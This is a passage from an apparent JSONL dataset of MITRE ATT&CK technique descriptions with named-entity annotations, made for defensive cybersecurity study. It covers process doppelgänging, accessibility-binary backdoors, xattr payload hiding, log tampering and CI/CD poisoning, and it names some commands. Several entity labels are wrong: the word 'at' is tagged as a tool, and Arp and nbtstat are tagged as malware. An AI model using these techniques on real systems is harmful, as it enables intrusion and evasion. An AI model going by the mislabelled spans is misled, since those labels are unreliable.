be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton.", "spans": {"SYSTEM: API": [[410, 413]], "SYSTEM: macOS": [[717, 722]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1125"}} {"text": "Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. \n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. \n\nAdversaries may abuse TxF to a perform a file-less variation of Process Injection. Similar to Process Hollowing, process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. \n\nProcess Doppelgänging is implemented in 4 steps :\n\n* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load – Create a shared section of memory and load the malicious executable.\n* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate – Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process.", "spans": {"SYSTEM: Windows": [[271, 278]], "TOOL: at": [[458, 460], [637, 639]], "SYSTEM: API": [[858, 861], [1252, 1255]], "SYSTEM: Windows 10": [[886, 896]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1055.013"}} {"text": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.\n\nAdversaries may also leverage a Network Device CLI on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. show ip route, show ip interface). On ESXi, adversaries may leverage esxcli to gather network configuration information. For example, the command `esxcli network nic list` will retrieve the MAC address, while `esxcli network ip interface ipv4 get` will retrieve the local IPv4 address.\n\nAdversaries may use the information from System Network Configuration Discovery during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.", "spans": {"MALWARE: Arp": [[305, 308]], "TOOL: ipconfig": [[310, 318]], "TOOL: ifconfig": [[319, 327]], "MALWARE: nbtstat": [[329, 336]], "TOOL: route": [[342, 347], [569, 574]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1016"}} {"text": "An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.\n\nAn adversary may also Create Cloud Instance and later terminate the instance after achieving their objectives.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1578.003"}} {"text": "Adversaries may search public code repositories for information about victims that can be used during targeting. Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git. \n\nAdversaries may search various public code repositories for various information about a victim. Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information), establishing operational resources (ex: Compromise Accounts or Compromise Infrastructure), and/or initial access (ex: Valid Accounts or Phishing). \n\n**Note:** This is distinct from Code Repositories, which focuses on Collection from private and internally hosted code repositories.", "spans": {"SYSTEM: GitHub": [[192, 198]], "SYSTEM: GitLab": [[200, 206]], "SYSTEM: API": [[730, 733]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1593.003"}} {"text": "Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL search order hijacking.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", "spans": {"FILEPATH: %TEMP%": [[913, 919]], "TOOL: at": [[1448, 1450], [1817, 1819]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1574.005"}} {"text": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. \n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). The Image File Execution Options Injection debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. \n\nOther accessibility features exist that may also be leveraged in a similar fashion: \n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe", "spans": {"SYSTEM: Windows": [[132, 139], [273, 280], [627, 634], [857, 864], [1098, 1105], [1254, 1261]], "FILEPATH: C:\\Windows\\System32\\sethc.exe": [[471, 500]], "FILEPATH: C:\\Windows\\System32\\utilman.exe": [[569, 600], [1642, 1673]], "SYSTEM: Registry": [[1067, 1075]], "FILEPATH: %systemdir%": [[1205, 1216]], "SYSTEM: Windows XP": [[1534, 1544]], "SYSTEM: Windows Server 2003": [[1570, 1589]], "TOOL: cmd.exe": [[1704, 1711]], "TOOL: at": [[1820, 1822], [1854, 1856]], "TOOL: Remote Desktop Protocol": [[1893, 1916]], "FILEPATH: C:\\Windows\\System32\\osk.exe": [[2101, 2128]], "FILEPATH: C:\\Windows\\System32\\Magnify.exe": [[2155, 2186]], "FILEPATH: C:\\Windows\\System32\\Narrator.exe": [[2212, 2244]], "FILEPATH: C:\\Windows\\System32\\DisplaySwitch.exe": [[2278, 2315]], "FILEPATH: C:\\Windows\\System32\\AtBroker.exe": [[2345, 2377]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.008"}} {"text": "Adversaries may leverage the network bandwidth resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nAdversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate Network Denial of Service campaigns and/or to seed malicious torrents. Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services. Finally, they may engage in internet-wide scanning in order to identify additional targets for compromise.\n\nIn addition to incurring potential financial costs or availability disruptions, this technique may cause reputational damage if a victim’s bandwidth is used for illegal activities.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1496.002"}} {"text": "Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts).\n\nAdversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.\n\nFor examples, cloud environments typically provide easily accessible interfaces to obtain user lists. On hosts, adversaries can use default PowerShell and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system’s files.", "spans": {"TOOL: PowerShell": [[702, 712]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1087"}} {"text": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.", "spans": {"TOOL: HTRAN": [[315, 320]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1090"}} {"text": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell.\n\nThere are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic.\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.", "spans": {"SYSTEM: macOS": [[337, 342]], "SYSTEM: Linux": [[347, 352]], "SYSTEM: Unix": [[390, 394]], "SYSTEM: Windows": [[407, 414], [441, 448]], "TOOL: PowerShell": [[467, 477]], "SYSTEM: Python": [[531, 537]], "SYSTEM: JavaScript": [[609, 619]], "SYSTEM: Visual Basic": [[624, 636]], "SYSTEM: Access": [[788, 794]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1059"}} {"text": "Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may Upload Malware to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency.\n\nIn some cases, threat actors may compromise and backdoor existing popular libraries (i.e., Compromise Software Dependencies and Development Tools). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.", "spans": {"SYSTEM: GitHub": [[209, 215]], "SYSTEM: Access": [[342, 348]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1204.005"}} {"text": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting or even disabling host-based sensors, such as Event Tracing for Windows (ETW), by tampering settings that control the collection and flow of event telemetry. These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as PowerShell or Windows Management Instrumentation.\n\nFor example, adversaries may modify the `File` value in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\Security to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately. \n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.\n\nIn Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors. ESXi also leverages syslog, which can be reconfigured via commands such as `esxcli system syslog config set` and `esxcli system syslog config reload`.", "spans": {"SYSTEM: Windows": [[226, 233]], "SYSTEM: Registry": [[400, 408], [1003, 1011]], "TOOL: PowerShell": [[474, 484], [915, 925]], "SYSTEM: Windows Management Instrumentation": [[488, 522]], "SYSTEM: Linux": [[1469, 1474]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1562.006"}} {"text": "Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", "spans": {"SYSTEM: Active Directory": [[115, 131]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1136.002"}} {"text": "Adversaries may abuse extended attributes (xattrs) on macOS and Linux to hide their malicious data in order to evade detection. Extended attributes are key-value pairs of file and directory metadata used by both macOS and Linux. They are not visible through standard tools like `Finder`, `ls`, or `cat` and require utilities such as `xattr` (macOS) or `getfattr` (Linux) for inspection. Operating systems and applications use xattrs for tagging, integrity checks, and access control. On Linux, xattrs are organized into namespaces such as `user.` (user permissions), `trusted.` (root permissions), `security.`, and `system.`, each with specific permissions. On macOS, xattrs are flat strings without namespace prefixes, commonly prefixed with `com.apple.*` (e.g., `com.apple.quarantine`, `com.apple.metadata:_kMDItemUserTags`) and used by system features like Gatekeeper and Spotlight.\n\nAn adversary may leverage xattrs by embedding a second-stage payload into the extended attribute of a legitimate file. On macOS, a payload can be embedded into a custom attribute using the `xattr` command. A separate loader can retrieve the attribute with `xattr -p`, decode the content, and execute it using a scripting interpreter. On Linux, an adversary may use `setfattr` to write a payload into the `user.` namespace of a legitimate file. A loader script can later extract the payload with `getfattr --only-values`, decode it, and execute it using bash or another interpreter. In both cases, because the primary file content remains unchanged, security tools and integrity checks that do not inspect extended attributes will observe the original file hash, allowing the malicious payload to evade detection.", "spans": {"SYSTEM: macOS": [[54, 59], [212, 217], [343, 348], [662, 667], [1010, 1015]], "SYSTEM: Linux": [[64, 69], [222, 227], [365, 370], [488, 493], [1225, 1230]], "SYSTEM: Gatekeeper": [[861, 871]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1564.014"}} {"text": "Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\n\nAdversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1589.003"}} {"text": "Adversaries may manipulate continuous integration / continuous development (CI/CD) processes by injecting malicious code into the build process. There are several mechanisms for poisoning pipelines: \n\n* In a Direct Pipeline Execution scenario, the threat actor directly modifies the CI configuration file (e.g., `gitlab-ci.yml` in GitLab). They may include a command to exfiltrate credentials leveraged in the build process to a remote server, or to export them as a workflow artifact.\n* In an Indirect Pipeline Execution scenario, the threat actor injects malicious code into files referenced by the CI configuration file. These may include makefiles, scripts, unit tests, and linters.\n* In a Public Pipeline Execution scenario, the threat actor does not have direct access to the repository but instead creates a malicious pull request from a fork that triggers a part of the CI/CD pipeline. For example, in GitHub Actions, the `pull_request_target` trigger allows workflows running from forked repositories to access secrets. If this trigger is combined with an explicit pull request checkout and a location for a threat actor to insert malicious code (e.g., an `npm build` command), a threat actor may be able to leak pipeline credentials. Similarly, threat actors may craft pull requests with malicious inputs (such as branch names) if the build pipeline treats those inputs as trusted. Finally, if a pipeline leverages a self-hosted runner, a threat actor may be able to execute arbitrary code on a host inside the organization’s network.\n\nBy poisoning CI/CD pipelines, threat actors may be able to gain access to credentials, laterally move to additional hosts, or input malicious components to be shipped further down the pipeline (i.e., Supply Chain Compromise).", "spans": {"SYSTEM: GitLab": [[338, 344]], "SYSTEM: GitHub": [[931, 937]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1677"}} {"text": "Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain. Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct SID-History Injection, Pass the Ticket, and Kerberoasting. Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP. The Windows utility Nltest is known to be used by adversaries to enumerate domain trusts.", "spans": {"SYSTEM: Windows": [[139, 146], [642, 649]], "SYSTEM: Win32 API": [[598, 607]], "SYSTEM: .NET": [[614, 618]], "SYSTEM: LDAP": [[632, 636]], "TOOL: Nltest": [[658, 664]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1482"}} {"text": "Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket. Golden tickets enable adversaries to generate authentication material for any account in Active Directory. \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.\n\nThe KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets. The KRBTGT password hash may be obtained using OS Credential Dumping and privileged access to a domain controller.", "spans": {"SYSTEM: Kerberos": [[64, 72], [603, 611], [708, 716]], "SYSTEM: Active Directory": [[224, 240], [564, 580]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1558.001"}} {"text": "Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel and Exfiltration Over Alternative Protocol.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1020"}} {"text": "Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1592.004"}} {"text": "Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in Disable or Modify System Firewall. \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary with appropriate permissions may introduce new firewall rules or policies to allow access into a victim cloud environment and/or move laterally from the cloud control plane to the data plane. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups (or creates new security groups entirely) to allow any TCP/IP connectivity to a cloud-hosted instance. They may also remove networking limitations to support traffic associated with malicious activity (such as cryptomining).\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. It may also be used to open up resources for Brute Force or Endpoint Denial of Service.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1562.007"}} {"text": "Adversaries may abuse Integrated Development Environment (IDE) software with remote development features to establish an interactive command and control channel on target systems within a network. IDE tunneling combines SSH, port forwarding, file sharing, and debugging into a single secure connection, letting developers work on remote systems as if they were local. Unlike SSH and port forwarding, IDE tunneling encapsulates an entire session and may use proprietary tunneling protocols alongside SSH, allowing adversaries to blend in with legitimate development workflows. Some IDEs, like Visual Studio Code, also provide CLI tools (e.g., `code tunnel`) that adversaries may use to programmatically establish tunnels and generate web-accessible URLs for remote access. These tunnels can be authenticated through accounts such as GitHub, enabling the adversary to control the compromised system via a legitimate developer portal.\n\nAdditionally, adversaries may use IDE tunneling for persistence. Some IDEs, such as Visual Studio Code and JetBrains, support automatic reconnection. Adversaries may configure the IDE to auto-launch at startup, re-establishing the tunnel upon execution. Compromised developer machines may also be exploited as jump hosts to move further into the network.\n\nIDE tunneling tools may be built-in or installed as IDE Extensions.", "spans": {"SYSTEM: SSH": [[220, 223], [375, 378], [499, 502]], "SYSTEM: GitHub": [[832, 838]], "TOOL: at": [[1132, 1134]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1219.001"}} {"text": "Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \\u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\\u202Egnp.js will be displayed as photo_high_resj.png.\n\nAdversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with Spearphishing Attachment/Malicious File since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity. RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.", "spans": {"SYSTEM: Windows": [[267, 274]], "SYSTEM: JavaScript": [[391, 401]], "SYSTEM: Windows Registry": [[963, 979]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1036.002"}} {"text": "Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nIn addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1588.001"}} {"text": "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign SVG files. SVGs, or Scalable Vector Graphics, are vector-based image files constructed using XML. As such, they can legitimately include `